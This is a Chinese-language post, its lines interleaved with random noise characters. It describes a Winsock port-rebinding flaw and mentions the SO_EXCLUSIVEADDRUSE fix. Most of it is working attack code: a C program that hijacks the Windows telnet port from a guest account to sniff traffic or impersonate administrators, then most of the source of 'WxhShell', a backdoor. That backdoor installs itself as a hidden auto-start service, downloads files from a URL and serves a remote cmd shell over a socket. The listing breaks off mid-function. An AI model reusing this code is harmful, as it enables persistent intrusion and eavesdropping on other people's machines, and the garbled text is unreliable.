在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Ph=NH8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
vqeH<$WHvy W:i Q&[f saddr.sin_family = AF_INET;
RhowhQ) G c]M+|R5 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
cpOt?XYR~ hL3up] pZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
g7zl5^o3j $]DuO1H./ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
6\7c: t<v.rb 这意味着什么?意味着可以进行如下的攻击:
:`N&BV 5=?P6I_$G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
hQ|mow@Zmz 5k0iVpjQ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
xrg"/?84 "B3jq^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
AY52j ,!{8@*!=s 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
d_`MS@2 rnK]3Ust 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Wr[LC& ?g ,s<{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
!gkr?yhE A;d@NOI#,K 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
WHE<E
rV% NMkP#s7.y #include
]'pfw9"f~ #include
8w:ay,= #include
Tr?p/9.m
#include
D|zuj] DWORD WINAPI ClientThread(LPVOID lpParam);
6,=Z4> int main()
4np2I~ ! {
) f~;P+ WORD wVersionRequested;
}`w(sec:3 DWORD ret;
|m-N5$\IC WSADATA wsaData;
4#(/{6J BOOL val;
OL\-SQ& SOCKADDR_IN saddr;
A-r;5?S SOCKADDR_IN scaddr;
&oMEz 0 int err;
uj3`M9 SOCKET s;
#2^0z`-\_z SOCKET sc;
8|Tqk,/pD int caddsize;
*)Pm HANDLE mt;
WXxnOLJr DWORD tid;
)x!q;^Js9A wVersionRequested = MAKEWORD( 2, 2 );
+<\LY(o err = WSAStartup( wVersionRequested, &wsaData );
8[@,i|kgg0 if ( err != 0 ) {
+'m9b7+v printf("error!WSAStartup failed!\n");
11l=zv return -1;
j/TnKO }
51ViJdZ saddr.sin_family = AF_INET;
|cC3L09 o+|>D&CW% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
{qw'gJmX }Q`+hJ0 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
[x)T2sA saddr.sin_port = htons(23);
nq_$!aB_K if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9fX0?POG {
5mAb9F8@ printf("error!socket failed!\n");
+k6`
tl~* return -1;
h!wq&Vi4 }
zYaFbNi val = TRUE;
Qb^{` //SO_REUSEADDR选项就是可以实现端口重绑定的
O]XRalkEM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
sNx_9pJs4 {
h?TIxo:6/ printf("error!setsockopt failed!\n");
807+|Ol[ return -1;
HW[&q }
'_?Z{| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Kii@Z5R_? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
UwW@}cy,L //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8~T}BC vEx'~_+a9 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
`RY}g; {
DQ0S]:tC ret=GetLastError();
;y-JR$M printf("error!bind failed!\n");
J0Yb_(w return -1;
Nd( I RsH( }
UI=v|<'- listen(s,2);
!y@\w while(1)
<Ch9"1f3, {
l'l&Zqd caddsize = sizeof(scaddr);
YAXd //接受连接请求
F(1E@xs sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
NzZ(Nz5 if(sc!=INVALID_SOCKET)
p{oz}} {
EC\@$Fg mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
$x }R2 if(mt==NULL)
:'r*
5EX {
|gV~U~A] printf("Thread Creat Failed!\n");
L/fXP@u break;
;*rGZ?%* }
V(cU/Aia^ }
l8E))oz1T CloseHandle(mt);
0-PT%R }
q2#Ebw%] closesocket(s);
nOyG7: WSACleanup();
JA{kifu0+ return 0;
r~=+>,
_ }
4(,.<# DWORD WINAPI ClientThread(LPVOID lpParam)
GQg
2!s( {
DvhFCA}z SOCKET ss = (SOCKET)lpParam;
W.4R+kF< SOCKET sc;
"#Z e3Uy\ unsigned char buf[4096];
&DGqY5= SOCKADDR_IN saddr;
G!`%.tH long num;
=X(N+(1~ DWORD val;
'sAkrl8kt DWORD ret;
X,3"4 SK //如果是隐藏端口应用的话,可以在此处加一些判断
Jb{g{a/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!=30s;- saddr.sin_family = AF_INET;
,w "cY?~< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
#U0| j?!D saddr.sin_port = htons(23);
T.De1Q| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[e,xC!2 {
"u^2!d printf("error!socket failed!\n");
8]&Fu3M^ return -1;
TS#1+f]9J< }
=_&,^h@'3e val = 100;
idBdaZg if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
n jd2 {
lLVD`) ret = GetLastError();
R)d_0Ng return -1;
R:P), }
4qDa:D"5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
g&RhPrtl {
v$` 3}<3- ret = GetLastError();
[W$x5|Z}Q return -1;
$
^)g, }
0Runex[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
atZNX1LD[/ {
"o%okN printf("error!socket connect failed!\n");
no\G
># closesocket(sc);
y< gRl/e closesocket(ss);
'3^_:E5y return -1;
c-zW
2;|61 }
jB -Ad8 while(1)
FM3.z)> {
0<A*I{,4L //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
fC"?r6d //如果是嗅探内容的话,可以再此处进行内容分析和记录
6jMc|he //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
gRs@T<k2 num = recv(ss,buf,4096,0);
%>nAPO+e if(num>0)
\B
8 j9 send(sc,buf,num,0);
&: LE]w else if(num==0)
W SvhC break;
;t
N@ num = recv(sc,buf,4096,0);
LB7$&.m'B if(num>0)
&%3}'&EBv send(ss,buf,num,0);
v7j/_;JE; else if(num==0)
Ku6ndc break;
DM6(8df( }
u<"-S63+ closesocket(ss);
vzAY+EEx closesocket(sc);
o7tlkSZ return 0 ;
,*Wh{) }
S41S+#7t* <F}j;mX Oxu}W%BF* ==========================================================
~A/vP- 1Xcj=I-4 下边附上一个代码,,WXhSHELL
Mj0jpP<uf ?/3{gOgI$` ==========================================================
H5vg s2R 1.2qh"# #include "stdafx.h"
q%s<y+ t`6~ud> #include <stdio.h>
aEUEy:. #include <string.h>
heES
[ #include <windows.h>
=J-&usX #include <winsock2.h>
`)=sQ2P #include <winsvc.h>
fuf'r>1n #include <urlmon.h>
\Pfm>$Ib= L$Xkx03lz> #pragma comment (lib, "Ws2_32.lib")
3DjX0Dx/l #pragma comment (lib, "urlmon.lib")
4d`f?8vS gT fA] #define MAX_USER 100 // 最大客户端连接数
/xg1i1Et
#define BUF_SOCK 200 // sock buffer
gBgaVG #define KEY_BUFF 255 // 输入 buffer
}P!:0w3 ?S)Pv53>} #define REBOOT 0 // 重启
4fL>Ou[YuX #define SHUTDOWN 1 // 关机
TD ;u" OS~Z@'Eg #define DEF_PORT 5000 // 监听端口
Fyz1LOH[X UZJs!#P #define REG_LEN 16 // 注册表键长度
m2% #define SVC_LEN 80 // NT服务名长度
Q9X+H4`}y it j&L <e // 从dll定义API
0 4ceDe typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
!9S!zRy@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
R-Tf9?) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
TY+Rol;! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
sEb*GF*.V x;&iLQZh // wxhshell配置信息
]o9^?iU] struct WSCFG {
;k1VY
Ie} int ws_port; // 监听端口
#%CB`l char ws_passstr[REG_LEN]; // 口令
<7%#RJw e int ws_autoins; // 安装标记, 1=yes 0=no
^x >R #.R char ws_regname[REG_LEN]; // 注册表键名
d~CZ9h char ws_svcname[REG_LEN]; // 服务名
['c*<f"
D2 char ws_svcdisp[SVC_LEN]; // 服务显示名
7?Twhs.O char ws_svcdesc[SVC_LEN]; // 服务描述信息
p1s&
y0:d char ws_passmsg[SVC_LEN]; // 密码输入提示信息
od/Q"5t[p int ws_downexe; // 下载执行标记, 1=yes 0=no
mnYzn[d3U char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
c=B!\J<1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
}1Hy[4B(k\ Nk\/lK\ };
I~M@v59C ?DM!=.] // default Wxhshell configuration
AbMf8$$3SH struct WSCFG wscfg={DEF_PORT,
C%P"\>5@ "xuhuanlingzhe",
)k 6z 1,
Q=498Y~x "Wxhshell",
ynq^ztBVe "Wxhshell",
l5Q-M{w0x "WxhShell Service",
d-UQc2r "Wrsky Windows CmdShell Service",
Eye.#~ "Please Input Your Password: ",
#
i|pi'Ij 1,
.gwT?O, "
http://www.wrsky.com/wxhshell.exe",
CVgVyy^ "Wxhshell.exe"
OYIH**? };
4:s!mHcz .Nd_p{
// 消息定义模块
$0~_)$i: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
&~N@M!`Dn char *msg_ws_prompt="\n\r? for help\n\r#>";
kSqMI'89 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
UTxqqcqEny char *msg_ws_ext="\n\rExit.";
y=e|W=<D& char *msg_ws_end="\n\rQuit.";
)O6_9f_ char *msg_ws_boot="\n\rReboot...";
eBlB0P
char *msg_ws_poff="\n\rShutdown...";
<`=(Ui$fD char *msg_ws_down="\n\rSave to ";
O&PrO+& jW.IkG[| char *msg_ws_err="\n\rErr!";
"&TN}SBW char *msg_ws_ok="\n\rOK!";
wn>?r
?KIB {dNWQE*\c char ExeFile[MAX_PATH];
)WF*fcx{ int nUser = 0;
S4>1 d- HANDLE handles[MAX_USER];
K1|xatx1V int OsIsNt;
}ILg_>uq[ $s9YU" SERVICE_STATUS serviceStatus;
:}~B;s0M\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
[G}l; D]5cijO6 // 函数声明
R|t.JoP9 int Install(void);
II}3w#r4 int Uninstall(void);
w;DRC5V> int DownloadFile(char *sURL, SOCKET wsh);
}Lb[`H,}A int Boot(int flag);
~i9'9PHX@ void HideProc(void);
uKpWb1( int GetOsVer(void);
OR-fC int Wxhshell(SOCKET wsl);
CDDOm8 void TalkWithClient(void *cs);
E<4'4)FHuQ int CmdShell(SOCKET sock);
gY!#=?/S int StartFromService(void);
,g bQqoLV int StartWxhshell(LPSTR lpCmdLine);
#s]` jdc H.s:a#l? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
+m1y#|08 VOID WINAPI NTServiceHandler( DWORD fdwControl );
v^Pjvv = MN. $a9m // 数据结构和表定义
r|0wIpi6Q SERVICE_TABLE_ENTRY DispatchTable[] =
:"~n`
Q2[ {
Q$=X
?{ {wscfg.ws_svcname, NTServiceMain},
H1kxY]_/ {NULL, NULL}
gK>aR ^* };
3q$"`w ]=T-Cv=t // 自我安装
!I[|\ 4j int Install(void)
&-M}:' {
UNKr
FYl char svExeFile[MAX_PATH];
A@#D_[~ HKEY key;
Z'4oE
) strcpy(svExeFile,ExeFile);
iz\GahK \6c8Lqa // 如果是win9x系统,修改注册表设为自启动
t8upS
u| if(!OsIsNt) {
~"#[<d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
fg0zD:@rA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)2y#
cM* RegCloseKey(key);
xe!6Pgcb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
e"ur+7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|qX[Dk RegCloseKey(key);
)i*- j= return 0;
tU>?j1 }
H.]rH,8 }
,e5#wz }
!p|d[ else {
:]k`;;vh EnnE@BJ" // 如果是NT以上系统,安装为系统服务
f"g-Hbl5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
t7qY!S ( if (schSCManager!=0)
|$a!Zx94^ {
HmZ* SC_HANDLE schService = CreateService
d{G*1l(X (
We*&\e+"T schSCManager,
7C@%1kL wscfg.ws_svcname,
"3X~BdH&J wscfg.ws_svcdisp,
"jMSF@lr SERVICE_ALL_ACCESS,
k_hs g6Ur. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Ij9ezNZT= SERVICE_AUTO_START,
%[H|3 SERVICE_ERROR_NORMAL,
a\?-uJ+ svExeFile,
4-veO3&.h NULL,
b1ma(8{{{ NULL,
3"y,UtKGa NULL,
wj#A#[e NULL,
LyA}Nd]pyq NULL
o!>h
Q#h );
C p.qL if (schService!=0)
pLea 4 {
;f+bIYQz CloseServiceHandle(schService);
Y5?OJO{h" CloseServiceHandle(schSCManager);
El:& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
$%BNoSK strcat(svExeFile,wscfg.ws_svcname);
EHqcQx`K_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
E-J<%+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
pu?D^h9/ RegCloseKey(key);
^4 ?LQ[t' return 0;
'\I!RAZ }
l.`f^K=8 }
A~MIFr /8 CloseServiceHandle(schSCManager);
v3/l=e?u }
TG@ W:>N( }
iW,fKXuo&y qrZ*r{3 return 1;
uKE?VNC] }
EX9os #Z>EX?VS: // 自我卸载
u[G`_Y{=EM int Uninstall(void)
WXX)_L$2 {
?A`8c R=)I HKEY key;
KR sY `[Y "0]s|ys6< if(!OsIsNt) {
$K}Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-N~eb^3[c RegDeleteValue(key,wscfg.ws_regname);
3C7}V{? RegCloseKey(key);
_@:O&G2nB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
P!K;`4Ika RegDeleteValue(key,wscfg.ws_regname);
W2W4w RegCloseKey(key);
mKN#dmw6 return 0;
~|5B }
#<EMG|&( }
>0Gdxj]\ }
=!{
E!3>*D else {
;'~GuZ#I 9E-]S'Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
r;
pS_PV if (schSCManager!=0)
LOf)D7T {
W5_aS2$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
rVF7!|& if (schService!=0)
%kSpMj| {
NT&skrzW if(DeleteService(schService)!=0) {
>y{oC5S CloseServiceHandle(schService);
L92vb zP CloseServiceHandle(schSCManager);
k1HVvMD< return 0;
dD.;P=AP }
IP=."w CloseServiceHandle(schService);
FhVoN} }
lbUUf} CloseServiceHandle(schSCManager);
U,2H) {l/ }
(&^k''f }
(+lCh7. ('Doy1L return 1;
nkii0YB! }
K! I]0!: `D~wY^q{ // 从指定url下载文件
"yA=Tw int DownloadFile(char *sURL, SOCKET wsh)
I@jXW>$ {
,wPvv(b]a HRESULT hr;
xR`M#d5" char seps[]= "/";
yHIZpU|(j char *token;
Zm+QhnY| char *file;
.qAlPe L: char myURL[MAX_PATH];
$G}!eV
6 char myFILE[MAX_PATH];
d:SLyFD$q h}SP` strcpy(myURL,sURL);
c|KN@)A token=strtok(myURL,seps);
?4A$9H while(token!=NULL)
z(g6$Y{ {
.Mb<.R3 file=token;
3tu:Vc.:M token=strtok(NULL,seps);
V~!lY\ }
6<qVeO&uZ QK0-jYG^ GetCurrentDirectory(MAX_PATH,myFILE);
Oi-=
Fp strcat(myFILE, "\\");
A4 strcat(myFILE, file);
$-ICTp send(wsh,myFILE,strlen(myFILE),0);
[JyhzYf\ send(wsh,"...",3,0);
o~ J~-$T{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
v|
Yh]y if(hr==S_OK)
{Ne5*HFV return 0;
_(1Shm else
HBp$
return 1;
<7R+p;y zPn2 }
9_ru*j\ !)-)*T // 系统电源模块
lNs;-`I~ int Boot(int flag)
>pRC$'Usx {
f<;w1sM\ HANDLE hToken;
-lqsFaW TOKEN_PRIVILEGES tkp;
{;-wXzv` >^N{ if(OsIsNt) {
rGIf/=G^r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
$z48~nu@j LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
TkyP_* tkp.PrivilegeCount = 1;
XS oHh- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Kd;Iu\4hv AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Iy8fN"I9D if(flag==REBOOT) {
N.D7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
^<OcbOn;O return 0;
.4O~a }
"HwSW4a] else {
5 ^867
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
7I4<Dj return 0;
##r9/`A }
W:hg*0z-* }
XT` 2Z= else {
rJ=r_v if(flag==REBOOT) {
+L
U.QI' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-Wm'@4bH return 0;
lv!8)GX| }
3)0z( 30 else {
gUWW}*\ U if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
E -+t[W return 0;
(\$=de>? }
=;A>1g$ }
oo-O>M#5 KJP}0|[ return 1;
qLWM,[Og }
ec3zoKtV dng^#|X)? // win9x进程隐藏模块
>i!y[F void HideProc(void)
v9"|VhZ {
k(ho? ?R":"*eu HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
1G<S'd+N if ( hKernel != NULL )
.Q5zmaA] {
)j\9IdkU;y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
T-a[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
XmAun FreeLibrary(hKernel);
4l rKU^- }
?d' vIpzO! U+-R2w]#q_ return;
E]dc4US }
qe2@bG%2+F /CXQ&nwY9= // 获取操作系统版本
}Yargj_Gn int GetOsVer(void)
\]|(w*C {
<i~=-Z( OSVERSIONINFO winfo;
!D|c2
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
6]NaP_\0 GetVersionEx(&winfo);
h$l`)AH^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
T%]@R4z#q return 1;
L}= t"y else
6`WI
S4 return 0;
Mi)h<lY }
8DGPA Z>PS>6 // 客户端句柄模块
4QBPN@~t int Wxhshell(SOCKET wsl)
6Wk9"?+1 {
\OE,(9T2P. SOCKET wsh;
wJF(&P struct sockaddr_in client;
XIBm8IkF DWORD myID;
!uW;Ea? aJLc&o 8Yg while(nUser<MAX_USER)
~B\O{5W {
`l ?(zy:R int nSize=sizeof(client);
g&r3; wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
lS{ ^*(a if(wsh==INVALID_SOCKET) return 1;
^;'FC vd ib%'{?Q. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
k2/t~|5 if(handles[nUser]==0)
h{ T{3 closesocket(wsh);
Vl/fkd,Z else
3FG'A[x3O nUser++;
te;VGpv. }
:_[pZ;-@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
y*e({fio_ sL],@z8<k return 0;
)nlFyWXh. }
hMyN$7Z :"'*1S* // 关闭 socket
O`Y@U?^N void CloseIt(SOCKET wsh)
!>\g[C {
KGrYF closesocket(wsh);
*FFD G_YG? nUser--;
WDJ rN ExitThread(0);
/BwG\GhM }
1h3`y 0-:dzf // 客户端请求句柄
sspGB>h8l void TalkWithClient(void *cs)
y7vA[us {
4m!w<c0NL H"c2kno9 SOCKET wsh=(SOCKET)cs;
fyEXnmB; char pwd[SVC_LEN];
VE))`? char cmd[KEY_BUFF];
v;#0h7qd char chr[1];
/h 4rW>8D2 int i,j;
B&AF(e ( MIY`"h0* while (nUser < MAX_USER) {
9L>73P{_ .UYhj8 if(wscfg.ws_passstr) {
=g |5VXW5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qOflvf //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S2
MJb //ZeroMemory(pwd,KEY_BUFF);
z\-/R9E/5- i=0;
X7txAp. while(i<SVC_LEN) {
^t?vv;@} WsW] 1p // 设置超时
K!(hj '0. fd_set FdRead;
U#`2~Qv/1 struct timeval TimeOut;
D*'sO B( FD_ZERO(&FdRead);
" ~q~)T1Z FD_SET(wsh,&FdRead);
iL|5}x5\ TimeOut.tv_sec=8;
ujf7r`;u. TimeOut.tv_usec=0;
M'JCT'(X int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
N!./u(b if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:}CcWfbT T%aM~dp if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
[e o= pwd
=chr[0]; UAGh2?q2
if(chr[0]==0xd || chr[0]==0xa) { Ec&_&
pwd=0; Z+ _xX
break; _6 @GT
} 0nZQ"{x
i++; 0xH&^Ia1B
} ~9#'s'
q4g)/x%nc
// 如果是非法用户,关闭 socket F{Oaxn
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W4(GI]`_+
}
EUW>8kw0
ccT
<UIpq
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wli H3vA_
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yIg^iZD
G +AP."M?
while(1) { u/ri
{neP{
I~4!8W-Y
ZeroMemory(cmd,KEY_BUFF); ?kS#g
+&G]\WX<
// 自动支持客户端 telnet标准 X6=o vm
j=0; T^q^JOC4
while(j<KEY_BUFF) { Y]!&, e,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +Jm[IN
cmd[j]=chr[0]; .\:MB7p
if(chr[0]==0xa || chr[0]==0xd) { P 1
cmd[j]=0; ^91Ae!)d
break; #'n.az=1
} M\RHFTB<C
j++; hFnUw26P
} rONz*ly|i
WLiF D.
// 下载文件 ^fE8|/]nG9
if(strstr(cmd,"http://")) { IY|`$sHb
send(wsh,msg_ws_down,strlen(msg_ws_down),0); @|{8/sOq
if(DownloadFile(cmd,wsh)) 9CAu0N5<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7rG+)kHG
else iUs_)1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y$9x!kV
} -@@
O<M^
else { 53>(2 _/[r
dptfIBYc+
switch(cmd[0]) { pG22Nx
JvNd'u)Z<
// 帮助 3p]\l ]=
case '?': { n@6vCdk.
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ={51fr/C%
break; 7=s0Pm
} yCuLo`
// 安装 @d:GtAW
case 'i': { P9 y+rF.
if(Install()) 6}~k4;'}A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y9k'jEZ"oh
else 5 Pf)&iG
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); % bKy
break; dKhS;!K9p
} 4q.yp0E
// 卸载 }z,9!{~`
case 'r': { eZD"!AT
if(Uninstall()) TpI8mDO\W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FL4BdJ\
else '6\ZgOO9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pH(X;OC9S
break; .hUlI3z9
} ,3!TyQ\m'
// 显示 wxhshell 所在路径 %:j`%F;R
case 'p': { E!uQ>'iq.
char svExeFile[MAX_PATH]; D&i,`j
strcpy(svExeFile,"\n\r"); ) I(9qt>Y
strcat(svExeFile,ExeFile); XA;f.u
send(wsh,svExeFile,strlen(svExeFile),0); HU$]o N
break; }R%*J
} 5,-:31(j\
// 重启 YW"uC\kg|
case 'b': { 'Ydr_Ses
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P4.)kK.3q|
if(Boot(REBOOT)) 1 ^30]2'_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +3sbpl2}
else { s3 fQGbU
closesocket(wsh); A8-a}0Gh
ExitThread(0); N1$PW~)Y
} ] ^?w0A
break; C6Cr+TScH
} Ikw.L
// 关机 d[ _@l
case 'd': { 0g HV(L?
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $zF%F.rln
if(Boot(SHUTDOWN)) l]j;0 i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); EPR85[k
else { Q [C26U
closesocket(wsh); $$EEhy
ExitThread(0); |'I>Ojm
} KW3<5+w]c
break; KP
6vb@(6
} O#p_rfQ
// 获取shell 5<Uh2c
case 's': { W*Ow%$%2
CmdShell(wsh); i`W~-J
closesocket(wsh); QcJC:sP\>
ExitThread(0); mU"Am0Bdjq
break; <P/odpmc
} W*DKpJy
// 退出 _+Sf+ta
case 'x': { o^Lq8u;i*
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )y i~p
CloseIt(wsh); LbYIRX
break; G!wb|-4<$
} 6b$C/
// 离开 =vvd)og
case 'q': { lrL:G[rt
send(wsh,msg_ws_end,strlen(msg_ws_end),0); (h=]Ox
closesocket(wsh); /W .G-|:
WSACleanup(); oI'& &Bt
exit(1); Ab>Kf r#
break; ]mz '(t
} l)~U8
} X Q
CE`m
} .p> ".q
I
-~4r6ZcA
// 提示信息 {qU;;`P]|
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "C(yuVK1G
} ru6M9\h*
} ofw&?Sk0
%d*0"<v
return; l9OpaOVfJ
} 6VuyKt
,>za|y<n
// shell模块句柄 vLBuE
int CmdShell(SOCKET sock) Vh2uzG
{ &/-MUKN
STARTUPINFO si; *wY+yoj
ZeroMemory(&si,sizeof(si)); H9i7y,[*
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r!O[|h
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f6Lc"b3s1
PROCESS_INFORMATION ProcessInfo; #5kclu%L$
char cmdline[]="cmd"; 4;3Vc%
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GB<.kOGQ[
return 0; (6NDY5h~=n
} S'W,AkT
023uAaI^3r
// 自身启动模式 !#WQ8s!?o
int StartFromService(void) JM?__b7g2
{ TJZ/lJU
typedef struct t'0&n3
{ w4CcdpR
DWORD ExitStatus; BDzAmrO<
